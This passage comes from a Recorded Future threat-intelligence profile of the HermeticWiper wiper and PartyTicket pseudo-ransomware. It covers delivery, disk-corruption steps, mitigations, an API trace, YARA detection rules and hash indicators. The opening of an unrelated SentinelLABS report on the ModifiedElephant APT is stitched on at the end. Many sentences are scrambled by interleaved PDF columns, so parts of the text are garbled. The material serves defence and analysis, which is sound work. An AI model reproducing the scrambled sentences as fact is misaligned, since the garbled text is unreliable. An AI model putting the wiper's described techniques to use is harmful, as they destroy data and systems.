planned. Each sample is signed using what was, at the time,
have been reported by Symantec.
a valid certificate issued to Hermetica Digital Ltd. Since the
The delivery of the malware to a Ukrainian organization
malware
s discovery, the certificate has since been revoked by
followed a Server Message Block (SMB)-based attack on a
the Certificate Authority, as shown in Figure 1 above.
Microsoft Exchange server on December 23, 2021. The adversary
Upon execution, the wiper adjusts its process token privileges
initially stole credentials, and a web shell was installed on January
16, 2022. HermeticWiper was finally deployed on February 23, to acquire SeBackupPrivilege and SeShutdownPrivilege in order
to obtain read privileges to any files and eventually shut down
2022.
the system before terminating. Next, it determines the Windows
A Lithuanian organization that received HermeticWiper was
version and bitness (x86 or x86_64) of the victim
s machine
initially compromised in November 2021. The delivery mechanism
in order to determine which kernel driver, located in the PE
was suspected by Symantec as being an Apache Tomcat exploit
resource section, to later load. The kernel drivers are legitimate,
that executed a malicious PowerShell command. This attack
benign software used by EaseUS
s Partition Master and are
similarly included a credential harvesting component, followed
signed with a certificate issued to EaseUS
s parent company,
quickly by the delivery and execution of the wiper malware as a
CHENGDU YIWO Tech Development Co., Ltd., shown in Figure 2
scheduled task.
below. Although the certificate has expired, newer versions of
In several of the attacks, a ransomware executable was Windows 10 allow exceptions for kernel drivers with certificates
delivered alongside HermeticWiper. The victims received issued before July 29, 2015, to be loaded.
a ransomware notification providing 2 email addresses:
vote2024forjb@protonmail[.]com and stephanie.jones2024@
protonmail[.]com. Symantec considers it likely that the
ransomware component was used to distract the victims.
WhisperGate attacks used a similar methodology, wherein
the attack was disguised as ransomware. Both WhisperGate
and HermeticWiper used separate components to prevent a
victim
s system from booting and file corruption; however, the
component that played the role of ransomware changed between
the 2 attacks. With WhisperGate, the wiper itself masqueraded
as ransomware; however, with the HermeticWiper attacks, it was
the file corrupter instead.
ESET reported that in one instance they observed, the
malware was dropped via default Group Policy Objects (GPO),
indicating that the adversaries almost certainly had control of
an Active Directory server on the network.
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MALWARE/TOOL PROFILE
To create the service, the process
s token privileges are
adjusted again to add SeLoadDriverPrivilege. A service is then
created, configured, and started. Once the driver is successfully
loaded, the created service
s registry entry is removed from
HKLM\SYSTEM\CurrentControlSet\services\. Next, the Volume
Shadow Service (VSS) is stopped and disabled, as shown in
Figure 4, to make recovery more difficult.
The wiper then begins to iterate through all physical
drives on the system one at a time by attempting to access
\\.\PhysicalDrive<1-100>. For each drive, junk data is written to
seemingly random locations of the disk in order to corrupt it.
Additionally, the partitions on each physical disk are enumerated
and any identified as FAT or NTFS file systems are corrupted by
writing random data to the file system header. Although public
reporting has stated that the MBR is 
wiped
, which typically
means the MBR is overwritten, in our analysis we have concluded
that only the file system is corrupted along with random locations
on the disk. The end result similarly results in a loss of the stored
data and inability of the victim machine to boot. Appendix A
provides the output from a tool, API Monitor, that captured the
SetFilePointerEX and WriteFile API calls used to corrupt the hard
drives on the victim
s machine. There were no writes to the 
index, where the MBR would reside, however there are writes
to the index, 1048576, which is the location of the NTFS file
system header. The additional writes are to seemingly random
locations on disk.
The corruption of the file systems goes beyond a simple
MBR overwrite and is more effective because it impacts a
The kernel drivers are stored as RCDATA in the PE file
s victim
s ability to boot regardless of the disk partitioning scheme
resource section, as shown in Figure 3 below. Each driver is (i.e., MBR, GPT). This technique is more robust than the MBR
compressed using Microsoft
s SZDD file format, based on the overwrite used in the WhisperGate attacks, where we showed
that GPT-style disks could recover from the MBR overwrite.
Lempel
Storer
Szymanski (LZSS) algorithm.
Figure 2: Certificate used to sign EaseUS Partition Master drivers (Source: Recorded Future)
After corrupting the file system the wiper disables the
After locating the correct driver, the wiper then proceeds to
ShowCompColor
and ShowInfoTip values in the Software\
disable WoW64 File System Redirection if the victim is running
Microsoft\CurrentVersion\Explorer\Advanced
registry key in
a 64-bit OS. This prevents 64-bit systems from loading 32-bit
order
prevent
encrypted
NTFS
files
from
showing
in color
kernel drivers from the %windir%\SysWOW64\drivers directory
and instead forces them to use %windir%\system32\drivers, and showing pop-up descriptions for folders, respectively. Then
where the malware will eventually place the kernel driver. it proceeds to corrupt logs and data on NTFS file systems.
Next, Crash Dumps are disabled by modifying the registry
Finally, the wiper attempts to shut the system down with a
value 
CrashDumpEnabled
 to 0 for the key HKLM\SYSTEM\ call to InitiateSystemShutdownExW. Once the victim machine is
CurrentControlSet\Control\CrashControl. This is likely done to rebooted, the user is presented with an error message indicating
avoid writing a crash dump to disk when the program terminates. that their system cannot boot. In the case of MBR-style disks,
The compressed driver resource is then written to the the victim is presented with a message similar to the one shown
%windir%\system32\drivers directory with a name consisting of in Figure 5; or in the case of GPT-style disks, the one shown
2 pseudorandom lowercase characters followed by 
. Then in Figure 6. In both cases, although the MBR is still intact,
the driver is decompressed, and a service with the same name the system is unable to boot due to the corrupted file system
partition containing the Operating System.
is temporarily created to load the driver.
MTP-2022-0302
Recorded Future 
 | www.recordedfuture.com
MALWARE/TOOL PROFILE
Figure 3: SZDD compressed resources stored in the resource section of the wiper (Source: Recorded Future)
Figure 4: Disabling and stopping the VSS service (Source: Recorded Future)
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MALWARE/TOOL PROFILE
Figure 8: Ransomware function names (Source: Recorded Future)
Figure 5: Boot screen after infection on a MBR disk (Source: Recorded Future)
Similarly, the ransom note dropped by the malware contained
email addresses on similar topics, and the encrypted files were
renamed with the suffix 
[vote2024forjb@protonmail[.]com].
encryptedJB
, as shown in Figure 10.
Figure 9: Example of encrypted file with extension (Source: Recorded Future)
Figure 10 below shows the ransomware note dropped by
PartyTicket. While Insikt Group cannot currently attribute the
ransomware to any specific group, the note differs substantially
from that of other ransomware groups we have seen.
Figure 6: Boot screen after infection on a GPT disk (Source: Recorded Future)
PartyTicket
Insikt Group analyzed the ransomware associated with the
HermeticWiper malware, dubbed PartyTicket. The ransomware
contained several path strings and function names that allude to
the White House, Joe Biden, and elections, among other topics,
seen below in Figures 7 and 8.
Figure 7: Paths contained in the ransomware (Source: Recorded Future)
MTP-2022-0302
Recorded Future 
 | www.recordedfuture.com
MALWARE/TOOL PROFILE
Figure 10: Ransom note (Source: Recorded Future)
There is no 
branding
 identifying a particular ransomware
group responsible for the attack, and there are several
misspellings and grammatical errors throughout the note. As
a result, the ransomware component of the HermeticWiper
malware is unlikely to have been developed and distributed by a
criminal ransomware group. Further, the malware contains a list
of files, shown in Figure 12 below, that it seeks to encrypt. Unlike
all other recent, criminal-operated ransomware variants, this list
includes files that are key to the ability of the victim system to
operate, including .dll and .exe files. This further suggests that
this is not legitimate ransomware but rather a destructive piece
of malware.
-inf .acl, .avi .bat .bmp .cab .cfg .chm .cmd .com .crt .css
.dat .dip .dll .doc .dot .exe .gif .htm .ico .iso .jpg .mp3 .msi
.odt .one .ova .pdf .png .ppt .pub .rar .rtf .sfx .sql .txt .url .vdi
.vsd .wma .wmv .wtv .xls .xml .xps .zip
Figure 11: File extensions the 
ransomware
 seeks to encrypt (Source: Recorded Future)
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MALWARE/TOOL PROFILE
Mitigations
Outlook
The compromised systems leading to the delivery of the
This is the second destructive malware that has emerged
wiper have involved exploitation of vulnerable systems: a over the past month, coinciding with the timing of attacks on
Microsoft Exchange server, and an Apache Tomcat server. Ukraine, and exhibiting a methodology similar to past attacks
Defenders concerned specifically about HermeticWiper should by Russian government-associated actors. We expect further
ensure that any such servers on their networks are fully updated cyberattacks or malicious tools to emerge and be used to
and patched. Similarly, enterprises should prioritize detection of destroy data and cause other disruptions. While there is not
web shells and exploitation on their perimeters. Detection of a enough evidence to tie either of these wipers to a specific threat
wiper malware at the point of execution is often too late in the kill actor or group, HermeticWiper
s similarities to previous Russian
chain to ensure continued organizational operations. Focusing state-linked malware variants, such as NotPetya, could suggest
on the initial stages is important to avoid such malware being some relationship.
executed.
Endeavoring to prevent, detect and block early-stage activity
observed in the delivery of HermeticWiper, such as malicious
PowerShell usage and SMB exploitation, is thus recommended.
The adversary, nimble enough to exploit more than one type of
system to deliver HermeticWiper, is likely capable of delivering
malware to other vulnerable systems as well, and consistent
patching and updating of all external-facing systems is therefore
critical.
On February 26, 2022, CISA issued an alert concerning the
use of destructive malware, specifically HermeticWiper and
WhisperGate, against Ukrainian organizations. General best
practices and mitigations for wiper malware are provided in the
alert. By keeping updated on the current situation in Ukraine, in
particular in the cyber realm, an organization can better prioritize
patching and other mitigations based on what is currently known
of potential threats.
Insikt Group has provided 2 YARA rules to detect
HermeticWiper and PartyTicket in Appendix B.
MTP-2022-0302
Recorded Future 
 | www.recordedfuture.com
MALWARE/TOOL PROFILE
Appendix A: SetFilePointerEx and WriteFile Windows API Calls
The table below shows the output from the tool API Monitor and was specifically capturing the API calls SetFilePointerEx,
WriteFile, and wnsprintfw. To get the drive index location that SetFilePointerEx is pointing to, you must combine the 
HighPart
and 
LowPart
 values to get the full index. For example, the full index for the call, 
SetFilePointerEx ( 0x0000026c, { u = { LowPart
= 2539999232, HighPart = 17 }, QuadPart = 75554443264 }, NULL, FILE_BEGIN )
 would be 172539999232.
Module
1bc44.exe
wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2539999232, HighPart = 17 }, QuadPart = 75554443264
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540003328, HighPart = 17 }, QuadPart = 75554447360
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540007424, HighPart = 17 }, QuadPart = 75554451456
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540011520, HighPart = 17 }, QuadPart = 75554455552
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540015616, HighPart = 17 }, QuadPart = 75554459648
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540019712, HighPart = 17 }, QuadPart = 75554463744
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540023808, HighPart = 17 }, QuadPart = 75554467840
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540027904, HighPart = 17 }, QuadPart = 75554471936
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540032000, HighPart = 17 }, QuadPart = 75554476032
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540036096, HighPart = 17 }, QuadPart = 75554480128
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540040192, HighPart = 17 }, QuadPart = 75554484224
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540044288, HighPart = 17 }, QuadPart = 75554488320
}, NULL, FILE_BEGIN )
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MALWARE/TOOL PROFILE
Module
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540048384, HighPart = 17 }, QuadPart = 75554492416
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540052480, HighPart = 17 }, QuadPart = 75554496512
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540056576, HighPart = 17 }, QuadPart = 75554500608
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540060672, HighPart = 17 }, QuadPart = 75554504704
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540064768, HighPart = 17 }, QuadPart = 75554508800
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540068864, HighPart = 17 }, QuadPart = 75554512896
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540072960, HighPart = 17 }, QuadPart = 75554516992
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540077056, HighPart = 17 }, QuadPart = 75554521088
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540081152, HighPart = 17 }, QuadPart = 75554525184
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540085248, HighPart = 17 }, QuadPart = 75554529280
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540089344, HighPart = 17 }, QuadPart = 75554533376
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540093440, HighPart = 17 }, QuadPart = 75554537472
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540097536, HighPart = 17 }, QuadPart = 75554541568
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
MTP-2022-0302
Recorded Future 
 | www.recordedfuture.com
MALWARE/TOOL PROFILE
Module
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540101632, HighPart = 17 }, QuadPart = 75554545664
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540105728, HighPart = 17 }, QuadPart = 75554549760
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540109824, HighPart = 17 }, QuadPart = 75554553856
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540113920, HighPart = 17 }, QuadPart = 75554557952
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393588736, HighPart = 0 }, QuadPart = 393588736 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393592832, HighPart = 0 }, QuadPart = 393592832 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393596928, HighPart = 0 }, QuadPart = 393596928 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393601024, HighPart = 0 }, QuadPart = 393601024 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393605120, HighPart = 0 }, QuadPart = 393605120 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068054016, HighPart = 0 }, QuadPart = 2068054016
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068058112, HighPart = 0 }, QuadPart = 2068058112 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068062208, HighPart = 0 }, QuadPart = 2068062208
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
1bc44.exe
wnsprintfW ( "", 260, "\\.\PhysicalDrive%u", ... )
1bc44.exe
wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... )
1bc44.exe
SetFilePointerEx ( 0x00000204, { u = { LowPart = 1048576, HighPart = 0 }, QuadPart = 1048576 }, NULL,
FILE_BEGIN )
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MALWARE/TOOL PROFILE
Module
1bc44.exe
WriteFile ( 0x00000204, 0x0158ef48, 4096, 0x06b2f630, NULL )
1bc44.exe
wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... )
1bc44.exe
SetFilePointerEx ( 0x00000214, { u = { LowPart = 3566206976, HighPart = 0 }, QuadPart = 3566206976
}, NULL, FILE_BEGIN )
1bc44.exe
wnsprintfW ( "\\.\PhysicalDrive0", 260, "\\.\PhysicalDrive%u", ... )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429767680, HighPart = 2 }, QuadPart = 11019702272
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429769728, HighPart = 2 }, QuadPart = 11019704320
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429771776, HighPart = 2 }, QuadPart = 11019706368
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429773824, HighPart = 2 }, QuadPart = 11019708416
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429775872, HighPart = 2 }, QuadPart = 11019710464
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429777920, HighPart = 2 }, QuadPart = 11019712512
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429779968, HighPart = 2 }, QuadPart = 11019714560
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429782016, HighPart = 2 }, QuadPart = 11019716608
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429784064, HighPart = 2 }, QuadPart = 11019718656
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429786112, HighPart = 2 }, QuadPart = 11019720704
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 4098506752, HighPart = 2 }, QuadPart = 12688441344
}, NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 4098508800, HighPart = 2 }, QuadPart = 12688443392
}, NULL, FILE_BEGIN )
MTP-2022-0302
Recorded Future 
 | www.recordedfuture.com
MALWARE/TOOL PROFILE
Module
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 344981504, HighPart = 0 }, QuadPart = 344981504 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 344983552, HighPart = 0 }, QuadPart = 344983552 },
NULL, FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
1bc44.exe
SetFilePointerEx ( 0x00000248, { u = { LowPart = 1048576, HighPart = 0 }, QuadPart = 1048576 }, NULL,
FILE_BEGIN )
1bc44.exe
WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MALWARE/TOOL PROFILE
Appendix B: YARA Rules
import "pe"
import "hash"
rule HermeticWiper{
meta:
author = "CNANCE, Insikt Group, Recorded Future"
date = "2022-02-24"
description = "Rule to detect HermeticWiper malware"
version = "1.0"
hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
hash = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
hash = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf"
RF_MALWARE = "HermeticWiper"
strings:
// paths
$p1 = "\\\\.\\EPMNTDRV\\%u" fullword wide
$p2 = "\\\\.\\PhysicalDrive%u" fullword wide
// disable crash dumps
$r1 = "SYSTEM\\CurrentControlSet\\Control\\CrashControl" fullword wide
$r2 = "CrashDumpEnabled" fullword wide
// privileges
$s1 = "SeLoadDriverPrivilege" fullword wide
$s2 = "SeBackupPrivilege" fullword wide
// stack string: S.eS.hu.td.o..i.vi.le.ge
$s3 = { c7 4? ?? 61 00 62 00 c7 4? ?? 63 00 64 00 c7 4? ?? 65 00 66 00 c7 4? ?? 67 00 68 00 c7 4? ?? 69 00 6a 00 c7
4? ?? 6b 00 6c 00 c7 4? ?? 6d 00 6e 00 c7 4? ?? 6f 00 70 00 c7 4? ?? 71 00 72 00 c7 4? ?? 73 00 74 00 c7 4? ?? 75 00 76
00 c7 4? ?? 77 00 78 00 c7 4? ?? 79 00 7a 00 }
condition:
uint16(0) == 0x5a4d // PE file
and filesize > 90KB
and all of them
and for any i in (0..pe.number_of_signatures): (
pe.signatures[i].thumbprint == "1ae7556dfacd47d9efbe79be974661a5a6d6d923" // Hermetica Digital Ltd certificate
and for 2 i in (0..pe.number_of_resources): (
pe.resources[i].type_string == "R\x00C\x00D\x00A\x00T\x00A\x00"
and (
// Check resource names
pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x006\x004\x00"
or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x008\x006\x00"
or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x006\x004\x00"
or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x008\x006\x00"
MTP-2022-0302
Recorded Future 
 | www.recordedfuture.com
MALWARE/TOOL PROFILE
// Check hashes for EaseUS driver
hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
"e5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5"
or hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
"b01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1"
or hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
"b6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd"
or hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
"fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d"
rule MAL_PartyTicket{
meta:
author = "LKAYE, Insikt Group, Recorded Future"
date = "2022-02-24"
description = "Rule to detect pseudo-ransomware associated with HermeticWiper malware"
version = "1.0"
hash = "4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382"
RF_MALWARE = "HermeticWiper"
strings:
$s1 = "403forBiden" ascii
$s2 = "wHiteHousE" ascii
$s3 = ".exe.gif.htm.ico.iso.jpg.mp3.msi.odt." ascii //this is fairly unusual for modern, professional ransomware to encrypt
exes
$s4 = "main.voteFor403" ascii
$s5 = "main.n1hk9" ascii
$s6 = "Thank you for your vote!" ascii //part of ransom note
$s7 = "photoes" ascii //misspelling in ransom note
condition:
uint16(0) == 0x5a4d and
filesize > 3000KB and
all of them
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MALWARE/TOOL PROFILE
Appendix C: IOCs
HermeticWiper Sample (SHA256):
1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591
0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da
3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767
a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e
Ransomware Sample (SHA256):
4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382
MTP-2022-0302
Recorded Future 
 | www.recordedfuture.com
MALWARE/TOOL PROFILE
About Recorded Future
Recorded Future is the world
s largest intelligence company. The Recorded
Future Intelligence Platform provides the most complete coverage across adversaries,
infrastructure, and targets. By combining persistent and pervasive automated data
collection and analytics with human analysis, Recorded Future provides real-time visibility
into the vast digital landscape and empowers clients to take proactive action to disrupt
adversaries and keep their people, systems, and infrastructure safe. Headquartered in
Boston with offices and employees around the world, Recorded Future works with more
than 1,300 businesses and government organizations across 60 countries.
Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture.
www.recordedfuture.com | Recorded Future 
MTP-2022-0302
MODIFIED ELEPHANT APT
AND A DECADE OF
FABRICATING EVIDENCE
Author: Tom Hegel, Juan Andres Guerrero-Saade
February 2022
SentinelLABS Research Team
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
TABLE OF
CONTENTS
EXECUTIVE SUMMMARY
BACKGROUND
TARGETS & OBJECTIVES
INFECTION ATTEMPTS
WEAPONS OF CHOICE
RELATIONS TO OTHER
THREAT CLUSTERS
ATTRIBUTION
CONCLUSION
INDICATORS OF COMPROMISE
TECHNICAL REFERENCES
ABOUT SENTINELLABS
MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
EXECUTIVE SUMMARY
 Our research attributes a decade of activity to a threat actor we call ModifiedElephant.
 ModifiedElephant is responsible for targeted attacks on human rights activists,
human rights defenders, academics, and lawyers across India with the objective of
planting incriminating digital evidence.
 ModifiedElephant has been operating since at least 2012, and has repeatedly
targeted specific individuals.
 ModifiedElephant operates through the use of commercially available remote access
trojans (RATs) and has potential ties to the commercial surveillance industry.
 The threat actor uses spearphishing with malicious documents to deliver malware,
such as NetWire, DarkComet, and simple keyloggers with infrastructure overlaps
